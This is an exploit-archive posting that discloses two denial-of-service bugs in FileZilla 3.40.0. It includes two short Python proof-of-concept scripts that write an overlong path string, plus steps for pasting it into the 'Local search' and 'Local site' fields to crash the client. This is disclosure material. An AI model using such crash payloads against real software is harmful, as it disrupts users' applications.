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FileZilla 3.40.0 Denial Of Service

FileZilla 3.40.0 Denial Of Service
Posted Mar 1, 2019
Authored by Mr Winst0n

FileZilla version 3.40.0 suffers from multiple denial of service vulnerabilities.

tags | exploit, denial of service, vulnerability
MD5 | e863765acf28067796ac5a55a400c105

FileZilla 3.40.0 Denial Of Service

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# Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 20, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla.py
# 2.- Open buff.txt and copy content to clipboard
# 3.- Open Filezilla (located in bin folder), in top bar click on Binoculars icon (search for files recursively)
# 4.- In the opend window, Set Search type to "Local search"
# 5.- Paste ClipBoard on "Search directory" and click on "Search"
# 6.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("buff.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.




# Exploit Title: FileZilla 3.40.0 - "Local site" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 25, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla-2.py
# 2.- Open crash.txt and copy content to clipboard
# 3.- In "Local site" section paste clipboard and Enter.
# 4.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("crash.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.
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